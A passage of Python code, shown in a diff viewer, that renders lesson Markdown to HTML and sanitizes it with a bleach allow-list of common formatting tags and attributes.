meta = _parse_frontmatter(os.path.basename(file_path))
|
||||
if meta is None:
|
||||
return None
|
||||
|
||||
# Render markdown → HTML (reuse MD_EXTENSIONS from lesson_service for consistency)
|
||||
from services.lesson_service import MD_EXTENSIONS
|
||||
html = md.markdown(meta["body"], extensions=MD_EXTENSIONS)
|
||||
|
||||
# Sanitize: allow common markdown HTML tags, strip scripts
|
||||
html = bleach_clean(
|
||||
html,
|
||||
tags=[
|
||||
"p", "br", "strong", "em", "u", "code", "pre", "blockquote",
|
||||
"h1", "h2", "h3", "h4", "h5", "h6",
|
||||
"ul", "ol", "li", "a", "img", "table", "thead", "tbody",
|
||||
"tr", "th", "td", "hr", "span", "div", "kbd", "var",
|
||||
],
|
||||
attributes={
|
||||
"a": ["href", "title", "target", "rel"],
|
||||
"img": ["src", "alt", "title"],
|
||||
"code": ["class"],
|
||||
"span": ["class"],
|
||||
"div": ["class"],
|
||||
"pre": ["class"],
|
||||
},
|
||||
strip=True,
|
||||
)
|
||||
|
||||
return {
|
||||
"title": meta["title"],
|
||||
"order": meta["order"],
|
||||
"category": meta["category"],
|
||||
"html": html,
|
||||
}
|
||||
Loading…
Reference in New Issue